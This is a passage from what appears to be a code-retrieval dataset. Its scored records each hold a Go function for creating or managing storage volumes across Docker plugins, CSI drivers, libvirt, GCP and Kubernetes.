auth.Token) (err error) {\n\tctx := r.Context()\n\tvar inputVolume volumeTypes.Volume\n\terr = ParseInput(r, &inputVolume)\n\tif err != nil {\n\t\treturn err\n\t}\n\tinputVolume.Plan.Opts = nil\n\tinputVolume.Status = \"\"\n\tcanCreate := permission.Check(t, permission.PermVolumeCreate,\n\t\tpermission.Context(permTypes.CtxTeam, inputVolume.TeamOwner),\n\t\tpermission.Context(permTypes.CtxPool, inputVolume.Pool),\n\t)\n\tif !canCreate {\n\t\treturn permission.ErrUnauthorized\n\t}\n\n\terr = servicemanager.Volume.CheckPoolVolumeConstraints(ctx, inputVolume)\n\tif err == volumeTypes.ErrVolumePlanNotFound || err == pool.ErrPoolHasNoVolumePlan {\n\t\treturn &errors.HTTP{Code: http.StatusBadRequest, Message: err.Error()}\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tevt, err := event.New(&event.Opts{\n\t\tTarget: event.Target{Type: event.TargetTypeVolume, Value: inputVolume.Name},\n\t\tKind: permission.PermVolumeCreate,\n\t\tOwner: t,\n\t\tRemoteAddr: r.RemoteAddr,\n\t\tCustomData: event.FormToCustomData(InputFields(r)),\n\t\tAllowed: event.Allowed(permission.PermVolumeReadEvents, contextsForVolume(&inputVolume)...),\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() { evt.Done(err) }()\n\t_, err = servicemanager.Volume.Get(ctx, inputVolume.Name)\n\tif err == nil {\n\t\treturn &errors.HTTP{Code: http.StatusConflict, Message: \"volume already exists\"}\n\t}\n\terr = servicemanager.Volume.Create(ctx, &inputVolume)\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.WriteHeader(http.StatusCreated)\n\treturn nil\n}", "title": "" }, { "docid": "ae8e1ff0685021e7b4a7ec2f7c965cb2", "score": "0.58292866", "text": "func NewVolumeV1(ctx *pulumi.Context,\n\tname string, args *VolumeV1Args, opts ...pulumi.ResourceOption) (*VolumeV1, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.Size == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'Size'\")\n\t}\n\topts = internal.PkgResourceDefaultOpts(opts)\n\tvar resource VolumeV1\n\terr := ctx.RegisterResource(\"openstack:blockstorage/volumeV1:VolumeV1\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "bb0a2377f270b88dd653a523b2364977", "score": "0.5814888", "text": "func (v *SecretVolume) Build() corev1.Volume {\n\treturn corev1.Volume{\n\t\tName: v.Name,\n\t\tVolumeSource: corev1.VolumeSource{\n\t\t\tSecret: &corev1.SecretVolumeSource{\n\t\t\t\tSecretName: v.SecretName,\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "24240c1052f7a2435555eb569ce59a71", "score": "0.5811247", "text": "func (in *Volume) DeepCopy() *Volume {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Volume)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "24240c1052f7a2435555eb569ce59a71", "score": "0.5811247", "text": "func (in *Volume) DeepCopy() *Volume {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Volume)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "24240c1052f7a2435555eb569ce59a71", "score": "0.5811247", "text": "func (in *Volume) DeepCopy() *Volume {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Volume)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8564458938f9a40b3f862bb1e1c7324e", "score": "0.57925004", "text": "func New() (fs.FS, error) {\n\treturn newFS(0, 0)\n}", "title": "" }, { "docid": "7be2883f20eb45149f4c836a40750cf8", "score": "0.577011", "text": "func New(c Config) (*diskv.Diskv, error) {\n\tdefaultMaxAge = c.MaxAge\n\treturn initialize()\n}", "title": "" }, { "docid": "a0fe3b1db9d8f34070ceef6f6cf39cfe", "score": "0.5758954", "text": "func (d *Driver) Create(req *volume.CreateRequest) error {\n\tfmt.Printf(\"received 'Create' request for volume: %v\\n\", req.Name)\n\n\t// load driver state\n\terr := d.state.Load()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// check if a command was given\n\tif req.Options[\"cmd\"] == \"\" {\n\t\treturn NoMountCommandErr\n\t}\n\n\t// check if the volume storage folder is missing and create it if necessary\n\tif _, err := os.Stat(d.mountBase + \"/\" + req.Name); os.IsNotExist(err) {\n\t\tos.Mkdir(d.mountBase+\"/\"+req.Name, 0777)\n\t}\n\n\t// store the volume configuration in a volmex.Volume and add it to the driver's state\n\tv := &Volume{\n\t\tVolume: volume.Volume{\n\t\t\tName: req.Name,\n\t\t\tMountpoint: d.mountBase + \"/\" + req.Name,\n\t\t},\n\t\tOptions: req.Options,\n\t}\n\td.state.Put(v.Name, v)\n\n\t// save driver state\n\terr = d.state.Save()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Printf(\"\\tmountpoint: %v\\n\", v.Volume.Mountpoint)\n\tfmt.Printf(\"\\tcommand: %v\\n\", v.Options[\"cmd\"])\n\n\treturn nil\n}", "title": "" }, { "docid": "70329e1d13f36991604fd5ef0d50a7f9", "score": "0.5739576", "text": "func (v *Vultr) CreateVolume(ctx *Context, name, data, size, provider string) (NanosVolume, error) {\n\tvar vol NanosVolume\n\treturn vol, nil\n}", "title": "" }, { "docid": "7d53cfbaff26159e3abb0139a2033f0f", "score": "0.5737614", "text": "func (s *VolumeServer) Create(\n\tctx context.Context,\n\treq *api.SdkVolumeCreateRequest,\n) (*api.SdkVolumeCreateResponse, error) {\n\tif s.cluster() == nil || s.driver(ctx) == nil {\n\t\treturn nil, status.Error(codes.Unavailable, \"Resource has not been initialized\")\n\t}\n\n\tif len(req.GetName()) == 0 {\n\t\treturn nil, status.Error(\n\t\t\tcodes.InvalidArgument,\n\t\t\t\"Must supply a unique name\")\n\t} else if req.GetSpec() == nil {\n\t\treturn nil, status.Error(\n\t\t\tcodes.InvalidArgument,\n\t\t\t\"Must supply spec object\")\n\t}\n\n\tlocator := &api.VolumeLocator{\n\t\tName: req.GetName(),\n\t\tVolumeLabels: req.GetLabels(),\n\t}\n\tsource := &api.Source{}\n\n\t// Validate/Update given spec according to default storage policy set\n\t// In case policy is not set, should fall back to default way\n\t// of creating volume\n\tspec, err := GetDefaultVolSpecs(ctx, req.GetSpec(), false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Copy any labels from the spec to the locator\n\tlocator = locator.MergeVolumeSpecLabels(spec)\n\n\t// Convert node IP to ID if necessary for API calls\n\tif err := s.updateReplicaSpecNodeIPstoIds(spec.GetReplicaSet()); err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, \"Failed to get replicat set information: %v\", err)\n\t}\n\n\t// Create volume\n\tid, err := s.create(ctx, locator, source, spec, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.auditLog(ctx, \"volume.create\", \"Volume %s created\", id)\n\treturn &api.SdkVolumeCreateResponse{\n\t\tVolumeId: id,\n\t}, nil\n}", "title": "" }, { "docid": "a41575b23fabda01ab424138bf33219f", "score": "0.573353", "text": "func New() *Slice {\n\treturn &Slice{\n\t\tdocs: make([]storage.Document, 0),\n\t}\n}", "title": "" }, { "docid": "52b62360df77ee59b2c24e865c20f6c6", "score": "0.5715775", "text": "func (dummy DummyLayer) CreateVolume(details VolumeDetails) (*Operation, error) {\n\treturn nil, nil\n}", "title": "" }, { "docid": "11409c05a65f7b947cb18a95c48e9600", "score": "0.5706796", "text": "func New(rootDir string) (*Filesystem, error) {\n\trootDir = filepath.Clean(rootDir)\n\tif err := ensureDirectory(rootDir); err != nil {\n\t\treturn nil, errors.Annotate(err, \"failed to create root directory\").Err()\n\t}\n\tfs := Filesystem{\n\t\trootDir: rootDir,\n\t}\n\tfs.root = &Dir{\n\t\tfs: &fs,\n\t\trelPath: \"\",\n\t\telem: \"\",\n\t}\n\treturn &fs, nil\n}", "title": "" }, { "docid": "3866697b79f8c027773742b2af90a9d4", "score": "0.56983525", "text": "func (s stack) CreateVolume(request abstract.VolumeRequest) (*abstract.Volume, fail.Error) {\n\tif s.IsNull() {\n\t\treturn nil, fail.InvalidInstanceError()\n\t}\n\tif request.Name == \"\" {\n\t\treturn nil, fail.InvalidParameterError(\"request.Name\", \"cannot be empty string\")\n\t}\n\tif request.Size <= 0 {\n\t\treturn nil, fail.InvalidParameterError(\"request.Size\", \"cannot be negative or zero integer\")\n\t}\n\n\tdefer debug.NewTracer(nil, fmt.Sprintf(\"('%s',%d)\", request.Name, request.Size), true).Entering().Exiting()\n\n\t// volume speed is ignored\n\tstoragePool, err := s.getStoragePoolByPath(s.LibvirtConfig.LibvirtStorage)\n\tif err != nil {\n\t\treturn nil, fail.Wrap(err, \"failed to get storage pool from path\")\n\t}\n\n\tinfo, err := storagePool.GetInfo()\n\tif err != nil {\n\t\treturn nil, fail.Wrap(err, \"failed to get storagePool name\")\n\t}\n\tif info.Available < uint64(request.Size)*1024*1024*1024 {\n\t\treturn nil, fail.OverflowError(nil, uint(info.Available), \"free disk space is not sufficient to create a new volume, only %f GB left\", float32(info.Available)/1024/1024/1024)\n\t}\n\n\tstoragePoolXML, err := storagePool.GetXMLDesc(0)\n\tif err != nil {\n\t\treturn nil, fail.Wrap(err, \"failed get xml description of the storage pool\")\n\t}\n\tstoragePoolDescription := &libvirtxml.StoragePool{}\n\tif err = xml.Unmarshal([]byte(storagePoolXML), storagePoolDescription); err != nil {\n\t\treturn nil, fail.Wrap(err, \"failed to interpret storage pool xml content\")\n\t}\n\n\trequestXML := `\n\t <volume>\n\t\t <name>` + request.Name + `</name>\n\t\t <allocation>0</allocation>\n\t\t <capacity unit=\"G\">` + strconv.Itoa(request.Size) + `</capacity>\n\t\t <target>\n\t\t\t <path>` + storagePoolDescription.Target.Path + `</path>\n\t\t </target>\n\t </volume>`\n\n\tlibvirtVolume, err := storagePool.StorageVolCreateXML(requestXML, 0)\n\tif err != nil {\n\t\treturn nil, fail.Wrap(err, \"failed to create the volume '%s' on pool '%s'\", request.Name, storagePoolDescription.Name)\n\t}\n\n\tvolume, xerr := getVolumeFromLibvirtVolume(libvirtVolume)\n\tif xerr != nil {\n\t\treturn nil, fail.Wrap(xerr, \"failed to convert libvirt.Volume '%s' to abstract.Volume on pool '%s'\", request.Name, storagePoolDescription.Name)\n\t}\n\n\treturn volume, nil\n}", "title": "" }, { "docid": "4b0159a6f28d28d510fadb9156616cd4", "score": "0.56802195", "text": "func New(baseDir string) extfs.Filesystem {\n\treturn &local{baseDir}\n}", "title": "" }, { "docid": "113e1469f42242bb215e1493acab1317", "score": "0.5679458", "text": "func (cs *controller) CreateVolume(\n\tctx context.Context,\n\treq *csi.CreateVolumeRequest,\n) (*csi.CreateVolumeResponse, error) {\n\n\tvar err error\n\tvar selected string\n\n\tif err = cs.validateVolumeCreateReq(req); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvolName := strings.ToLower(req.GetName())\n\tparameters := req.GetParameters()\n\t// lower case keys, cf CreateZFSVolume()\n\tpool := helpers.GetInsensitiveParameter(&parameters, \"poolname\")\n\tsize := getRoundedCapacity(req.GetCapacityRange().GetRequiredBytes())\n\tcontentSource := req.GetVolumeContentSource()\n\tpvcName := helpers.GetInsensitiveParameter(&parameters, \"csi.storage.k8s.io/pvc/name\")\n\n\tif contentSource != nil && contentSource.GetSnapshot() != nil {\n\t\tsnapshotID := contentSource.GetSnapshot().GetSnapshotId()\n\n\t\tselected, err = CreateSnapClone(ctx, req, snapshotID)\n\t} else if contentSource != nil && contentSource.GetVolume() != nil {\n\t\tsrcVol := contentSource.GetVolume().GetVolumeId()\n\t\tselected, err = CreateVolClone(ctx, req, srcVol)\n\t} else {\n\t\tselected, err = CreateZFSVolume(ctx, req)\n\t}\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tklog.Infof(\"created the volume %s/%s on node %s\", pool, volName, selected)\n\n\tsendEventOrIgnore(pvcName, volName, strconv.FormatInt(int64(size), 10), \"zfs-localpv\", analytics.VolumeProvision)\n\n\tnodeid, err := zfs.GetNodeID(selected)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, \"GetNodeID failed : %s\", err.Error())\n\t}\n\n\ttopology := map[string]string{zfs.ZFSTopologyKey: nodeid}\n\tcntx := map[string]string{zfs.PoolNameKey: pool, zfs.OpenEBSCasTypeKey: zfs.ZFSCasTypeName}\n\n\treturn csipayload.NewCreateVolumeResponseBuilder().\n\t\tWithName(volName).\n\t\tWithCapacity(size).\n\t\tWithTopology(topology).\n\t\tWithContext(cntx).\n\t\tWithContentSource(contentSource).\n\t\tBuild(), nil\n}", "title": "" }, { "docid": "38c8f3524f6226a12f5d60dc4b369bb4", "score": "0.56742626", "text": "func (d *dir) CreateVolume(vol Volume, filler *VolumeFiller, op *operations.Operation) error {\n\tvolPath := vol.MountPath()\n\terr := vol.CreateMountPath()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trevertPath := true\n\tdefer func() {\n\t\tif revertPath {\n\t\t\tos.RemoveAll(volPath)\n\t\t}\n\t}()\n\n\t// Create sparse loopback file if volume is block.\n\trootBlockPath := \"\"\n\tif vol.contentType == ContentTypeBlock {\n\t\t// We expect the filler to copy the VM image into this path.\n\t\trootBlockPath, err = d.GetVolumeDiskPath(vol.volType, vol.name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\trevertFunc, err := d.setupInitialQuota(vol)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif revertFunc != nil {\n\t\t\tdefer func() {\n\t\t\t\tif revertPath {\n\t\t\t\t\trevertFunc()\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t}\n\n\t// Run the volume filler function if supplied.\n\tif filler != nil && filler.Fill != nil {\n\t\td.logger.Debug(\"Running filler function\")\n\t\terr = filler.Fill(volPath, rootBlockPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// If we are creating a block volume, resize it to the requested size or 10GB.\n\t// We expect the filler function to have converted the qcow2 image to raw into the rootBlockPath.\n\tif vol.contentType == ContentTypeBlock {\n\t\t// Extract specified size from pool or volume config.\n\t\tblockSize := d.config[\"volume.size\"]\n\t\tif vol.config[\"size\"] != \"\" {\n\t\t\tblockSize = vol.config[\"size\"]\n\t\t}\n\n\t\tif blockSize == \"\" {\n\t\t\tblockSize = \"10GB\"\n\t\t}\n\n\t\tblockSizeBytes, err := units.ParseByteSizeString(blockSize)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif shared.PathExists(rootBlockPath) {\n\t\t\t_, err = shared.RunCommand(\"qemu-img\", \"resize\", \"-f\", \"raw\", rootBlockPath, fmt.Sprintf(\"%d\", blockSizeBytes))\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed resizing disk image %s to size %s: %v\", rootBlockPath, blockSize, err)\n\t\t\t}\n\t\t} else {\n\t\t\t// If rootBlockPath doesn't exist, then there has been no filler function\n\t\t\t// supplied to create it from another source. So instead create an empty\n\t\t\t// volume (use for PXE booting a VM).\n\t\t\t_, err = shared.RunCommand(\"qemu-img\", \"create\", \"-f\", \"raw\", rootBlockPath, fmt.Sprintf(\"%d\", blockSizeBytes))\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed creating disk image %s as size %s: %v\", rootBlockPath, blockSize, err)\n\t\t\t}\n\t\t}\n\t}\n\n\trevertPath = false\n\treturn nil\n}", "title": "" }, { "docid": "4412bde6ec8968c9b5c4432e0007216e", "score": "0.5661036", "text": "func (r GitRepo) Volume() kubev1.Volume {\n\treturn kubev1.Volume{\n\t\tName: r.Name,\n\t\tVolumeSource: kubev1.VolumeSource{\n\t\t\tEmptyDir: &kubev1.EmptyDirVolumeSource{},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "8e14563200e63ed59857791d1d9b3f48", "score": "0.5657149", "text": "func (s *VicStorageProxy) volumeCreate(op trace.Operation, name, driverName string, volumeData, labels map[string]string) (*types.Volume, error) {\n\tdefer trace.End(trace.Begin(name, op))\n\topID := op.ID()\n\tresult := &types.Volume{}\n\n\tif s.client == nil {\n\t\treturn nil, errors.NillPortlayerClientError(\"StorageProxy\")\n\t}\n\n\tif name == \"\" {\n\t\tname = uuid.New().String()\n\t}\n\n\t// TODO: support having another driver besides vsphere.\n\t// assign the values of the model to be passed to the portlayer handler\n\treq, varErr := newVolumeCreateReq(name, driverName, volumeData, labels)\n\tif varErr != nil {\n\t\treturn result, varErr\n\t}\n\top.Infof(\"Finalized model for volume create request to portlayer: %#v\", req)\n\n\tres, err := s.client.Storage.CreateVolume(storage.NewCreateVolumeParamsWithContext(op).WithOpID(&opID).WithVolumeRequest(req))\n\tif err != nil {\n\t\treturn result, err\n\t}\n\n\treturn NewVolumeModel(res.Payload, labels), nil\n}", "title": "" }, { "docid": "dc39f614c2f52b425e8c147f60f79970", "score": "0.5647509", "text": "func DriverTestCreateEmpty(c *C, drivername volume.DriverType, root string, args []string) {\n\tdriver := newDriver(c, drivername, root, args)\n\tdefer cleanup(c, driver)\n\n\tc.Assert(driver.DriverType(), Equals, drivername)\n\n\tvolumeName := \"empty\"\n\n\t_, err := driver.Create(volumeName)\n\tc.Assert(err, IsNil)\n\tc.Assert(driver.Exists(volumeName), Equals, true)\n\tc.Assert(arrayContains(driver.List(), volumeName), Equals, true)\n\tvol, err := driver.Get(volumeName)\n\tc.Assert(err, IsNil)\n\tverifyFile(c, vol.Path(), 0755|os.ModeDir, uint32(os.Getuid()), uint32(os.Getgid()))\n\tfis, err := ioutil.ReadDir(vol.Path())\n\tc.Assert(err, IsNil)\n\tfis = filterExtraFiles(fis)\n\tc.Assert(fis, HasLen, 0)\n\tvol2, err := driver.GetTenant(volumeName)\n\tc.Assert(err, IsNil)\n\tverifyFile(c, vol2.Path(), 0755|os.ModeDir, uint32(os.Getuid()), uint32(os.Getgid()))\n\tfis, err = ioutil.ReadDir(vol2.Path())\n\tc.Assert(err, IsNil)\n\tfis = filterExtraFiles(fis)\n\tc.Assert(fis, HasLen, 0)\n\n\tdriver.Release(volumeName)\n\tc.Assert(driver.Remove(volumeName), IsNil)\n\tc.Assert(driver.Exists(volumeName), Equals, false)\n}", "title": "" }, { "docid": "fc78098048b0e019dd3cae0c6ef33a06", "score": "0.564164", "text": "func Volume() (c *VolumeController) {\n\treturn &VolumeController{\n\t}\n}", "title": "" }, { "docid": "926d83d1b70ebaed197c41dd45d0642e", "score": "0.56356055", "text": "func (d *DateraDriver) Create(r *dv.CreateRequest) error {\n\tctxt := d.initFunc(\"Create\")\n\tco.Debugf(ctxt, \"DateraDriver.Create: %#v\", r)\n\tco.Debugf(ctxt, \"Creating volume %s\\n\", r.Name)\n\td.Mutex.Lock()\n\tdefer d.Mutex.Unlock()\n\tm := d.MountPoint(r.Name)\n\tco.Debugf(ctxt, \"Mountpoint for Request %s is %s\", r.Name, m)\n\tvolOpts := r.Options\n\tco.Debugf(ctxt, \"Volume Options: %#v\", volOpts)\n\n\tco.Debugf(ctxt, \"Checking for existing volume: %s\", r.Name)\n\t_, err := d.DateraClient.GetVolume(r.Name, true, true)\n\tif err == nil {\n\t\tco.Debugf(ctxt, \"Found already created volume: %s\", r.Name)\n\t\treturn nil\n\t}\n\t// Quick hack to check if api didn't find a volume\n\tif err != nil && !strings.Contains(err.Error(), \"not exist\") {\n\t\treturn err\n\t}\n\tco.Debugf(ctxt, \"Creating Volume: %s\", r.Name)\n\n\tsize, _ := strconv.ParseUint(volOpts[OptSize], 10, 64)\n\treplica, _ := strconv.ParseUint(volOpts[OptReplica], 10, 8)\n\ttemplate := volOpts[OptTemplate]\n\tfsType := volOpts[OptFstype]\n\tmaxIops, _ := strconv.ParseUint(volOpts[OptMaxiops], 10, 64)\n\tmaxBW, _ := strconv.ParseUint(volOpts[OptMaxbw], 10, 64)\n\tplacementMode, _ := volOpts[OptPlacement]\n\t// persistence, _ := volOpts[OptPersistence]\n\tcloneSrc, _ := volOpts[OptCloneSrc]\n\n\tvOpts := dc.VolOpts{\n\t\tSize: int(size),\n\t\tReplica: int(replica),\n\t\tTemplate: template,\n\t\tFsType: fsType,\n\t\tPlacementMode: placementMode,\n\t\tCloneSrc: cloneSrc,\n\t\tTotalIopsMax: int(maxIops),\n\t\tTotalBandwidthMax: int(maxBW),\n\t\tIpPool: \"default\",\n\t}\n\n\tco.Debugf(ctxt, \"Passed in volume opts: %s\", co.Prettify(vOpts))\n\n\tvol, err := d.DateraClient.CreateVolume(r.Name, &vOpts, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Set metadata values for Persistence and FsType so Mount can find them later\n\tif _, err = vol.SetMetadata(&dc.VolMetadata{OptPersistence: DefaultPersistence, OptFstype: vOpts.FsType}); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0292dd113b3934ecd13f91846b7af887", "score": "0.56201416", "text": "func NewFakeVolume(name string, driverName string) volume.Volume {\n\treturn FakeVolume{name: name, driverName: driverName, createdAt: time.Now()}\n}", "title": "" }, { "docid": "6c53dabdf2f0438fbcc9d2fbece4758c", "score": "0.56156564", "text": "func Create(vol Volume, maximumSize, AllocationDelta uint64) error {\n\treturn errors.New(\"Not implemented yet\")\n}", "title": "" }, { "docid": "6fc623d6450911a4b9e30fd1bbbd5a3f", "score": "0.560935", "text": "func (s *GpdStorage) VolumeCreate(ctx context.Context, volume blockstorage.Volume) (*blockstorage.Volume, error) {\n\tvar resp *compute.Operation\n\tvar err error\n\ttags := make(map[string]string, len(volume.Tags))\n\tfor _, tag := range volume.Tags {\n\t\ttags[tag.Key] = tag.Value\n\t}\n\ttags = blockstorage.SanitizeTags(ktags.GetTags(tags))\n\n\tid, err := uuid.NewV1()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"Failed to create UUID\")\n\t}\n\tcreateDisk := &compute.Disk{\n\t\tName: fmt.Sprintf(volumeNameFmt, id.String()),\n\t\tSizeGb: blockstorage.SizeInGi(volume.SizeInBytes),\n\t\tType: volume.VolumeType,\n\t\tLabels: tags,\n\t}\n\tif isMultiZone(volume.Az) {\n\t\tregion, err := getRegionFromZones(volume.Az)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treplicaZones, err := s.getSelfLinks(ctx, splitZones(volume.Az))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcreateDisk.ReplicaZones = replicaZones\n\t\tif resp, err = s.service.RegionDisks.Insert(s.project, region, createDisk).Context(ctx).Do(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tif resp, err = s.service.Disks.Insert(s.project, volume.Az, createDisk).Context(ctx).Do(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif err := s.waitOnOperation(ctx, resp, volume.Az); err != nil {\n\t\treturn nil, err\n\t}\n\treturn s.VolumeGet(ctx, createDisk.Name, volume.Az)\n}", "title": "" }, { "docid": "ac3cae75250980e37038be7cef936651", "score": "0.560134", "text": "func (vs *VolumeService) CreateVolume(volumeParams *map[string]interface{}) (volume *types.Volume, err error) {\n\tlog.Debug(\"CreateVolume\")\n\n\tdata, status, err := vs.concertoService.Post(APIPathStorageVolumes, volumeParams)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err = utils.CheckStandardStatus(status, data); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err = json.Unmarshal(data, &volume); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn volume, nil\n}", "title": "" }, { "docid": "3096d10d394a306d2d8485450a53d08f", "score": "0.56009233", "text": "func New(dir string) (blobserver.Storage, error) {\n\tvar maxSize int64\n\tif ok, _ := IsDir(dir); ok {\n\t\t// TODO: detect existing max size from size of files, if obvious,\n\t\t// and set maxSize to that?\n\t}\n\treturn newStorage(dir, maxSize, nil)\n}", "title": "" }, { "docid": "fda729048626e8b9d4e04a638168eee5", "score": "0.55970454", "text": "func (d *None) new() Device {\n\treturn &None{}\n}", "title": "" }, { "docid": "a3b2acc1f94af482a98ffb59817d21df", "score": "0.55695814", "text": "func (c *Client) VolumeCreate(serviceName string, request *apitypes.VolumeCreateRequest) (*types.Volume, error) {\n\tif c.ctx.Value(pcontext.RequestPathHeaderKey) == nil {\n\t\tc.ctx = c.ctx.WithValue(pcontext.RequestPathHeaderKey, \"admin\")\n\t}\n\tvol, err := c.Client.API().VolumeCreate(c.ctx, serviceName, request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnv, err := NewVolume(c, vol, serviceName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn nv, nil\n}", "title": "" }, { "docid": "fb3aabde8b08fe899e9dcd136046147b", "score": "0.556933", "text": "func CreateVolume(def shared.VolumeDef) error {\n\tfile := VolumeFile(def.ID)\n\n\tif !utils.FileExists(filepath.Dir(file)) {\n\t\terr := os.MkdirAll(filepath.Dir(file), 0755)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif def.Type == \"kvm\" {\n\t\timg := qemu.NewImage(file, qemu.ImageFormatQCOW2, def.Size*KiB)\n\n\t\terr := img.Create()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif def.Type == \"qemu\" {\n\t\t// TODO: Add LXC volumes\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "087d42e1a456ed0eb29e9e98a5c9aff1", "score": "0.5568893", "text": "func New() (*DummyFS, error) {\n\treturn &DummyFS{}, nil\n}", "title": "" }, { "docid": "5e6bb97a57c0a21539205c94a68fafb1", "score": "0.5568468", "text": "func (daemon *Daemon) VolumeCreate(name, driverName string, opts map[string]string) (*types.Volume, error) {\n\tif name == \"\" {\n\t\tname = stringid.GenerateNonCryptoID()\n\t}\n\n\tv, err := daemon.volumes.Create(name, driverName, opts)\n\tif err != nil {\n\t\tif volumestore.IsNameConflict(err) {\n\t\t\treturn nil, fmt.Errorf(\"A volume named %s already exists. Choose a different volume name.\", name)\n\t\t}\n\t\treturn nil, err\n\t}\n\n\tdaemon.LogVolumeEvent(v.Name(), \"create\", map[string]string{\"driver\": v.DriverName()})\n\treturn volumeToAPIType(v), nil\n}", "title": "" }, { "docid": "377346b2185a67b4f6ecb40fb22c633d", "score": "0.5559634", "text": "func New() FS {\n\treturn FS{\n\t\tTree: Directory{},\n\t}\n}", "title": "" }, { "docid": "4457210d071c6dbdbefd0b236d3e461d", "score": "0.5547631", "text": "func (d *Driver) Create(r *volume.CreateRequest) error {\n\tlog.Println(\"Create Volume:\")\n\tremotePath := filepath.Join(d.config.Root, r.Name)\n\tstat, err := d.sftp.Stat(remotePath)\n\t//log.Println(remotePath, stat, err)\n\tif err != nil {\n\t\tif err == os.ErrNotExist {\n\t\t\terr = d.sftp.Mkdir(remotePath)\n\t\t\t//log.Println(remotePath, stat, err)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tstat, _ = d.sftp.Stat(remotePath)\n\t\t\t//log.Println(remotePath, stat, err)\n\t\t} else {\n\t\t\treturn err\n\t\t}\n\t}\n\tif !stat.IsDir() {\n\t\treturn errors.New(remotePath + \" not direcory!\")\n\t}\n\n\tif err := os.MkdirAll(d.mountpoint(r.Name), os.ModeDir); err != nil {\n\t\treturn err\n\t}\n\n\tif d.volumes == nil {\n\t\td.volumes = map[string]*volumeName{}\n\t}\n\td.volumes[d.mountpoint(r.Name)] = &volumeName{name: r.Name}\n\treturn nil\n}", "title": "" }, { "docid": "9237dd2e47f06e9f44b5336044631cd3", "score": "0.5539262", "text": "func NewEmpty() Vector3 {\n\treturn New(0, 0, 0)\n}", "title": "" }, { "docid": "45d8587b238e3fcfab1ae87729ca8e08", "score": "0.5538273", "text": "func New() *T {\n\treturn &T{avail: vsync.NewSemaphore()}\n}", "title": "" }, { "docid": "6367357467925f4b2ce0506ce500ed0e", "score": "0.5533594", "text": "func (d *GVfsDriver) Create(r *volume.CreateRequest) error {\n\tlog.Debugf(\"Entering Create: name: %s, options %v\", r.Name, r.Options)\n\td.Lock()\n\tdefer d.Unlock()\n\n\tif r.Options == nil || r.Options[\"url\"] == \"\" {\n\t\treturn fmt.Errorf(\"url option required\")\n\t}\n\n\tdr, m, err := getDriver(r.Options[\"url\"])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tv := &gvfsVolume{\n\t\tURL: r.Options[\"url\"],\n\t\tdriver: dr,\n\t\tPassword: r.Options[\"password\"],\n\t\tMountpoint: filepath.Join(d.root, m),\n\t\tconnections: 0,\n\t}\n\n\td.volumes[r.Name] = v\n\tlog.Debugf(\"Volume Created: %v\", v)\n\tif err = d.saveConfig(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "258ffd70cb52bf7a04c67b32369fa807", "score": "0.5530869", "text": "func newVolumes(cr *v1alpha1.RethinkDBCluster) []corev1.Volume {\n\tvolumes := []corev1.Volume{\n\t\tnewProjectedVolume(cr, RethinkDBTLSSecretsKey),\n\t}\n\n\t// TODO: Handle persistent volumes for RethinkDB data!\n\tvolumes = append(volumes, newEmptyDirVolume(RethinkDBDataKey))\n\n\treturn volumes\n}", "title": "" }, { "docid": "8d4a18d9d48c329fa417ab9439639c63", "score": "0.55139816", "text": "func NewCreateVolumeDefault(code int) *CreateVolumeDefault {\n\treturn &CreateVolumeDefault{\n\t\t_statusCode: code,\n\t}\n}", "title": "" }, { "docid": "199c7c618cfda5b852da546af33b9f00", "score": "0.5510427", "text": "func (r *remoteDriverWrapper) 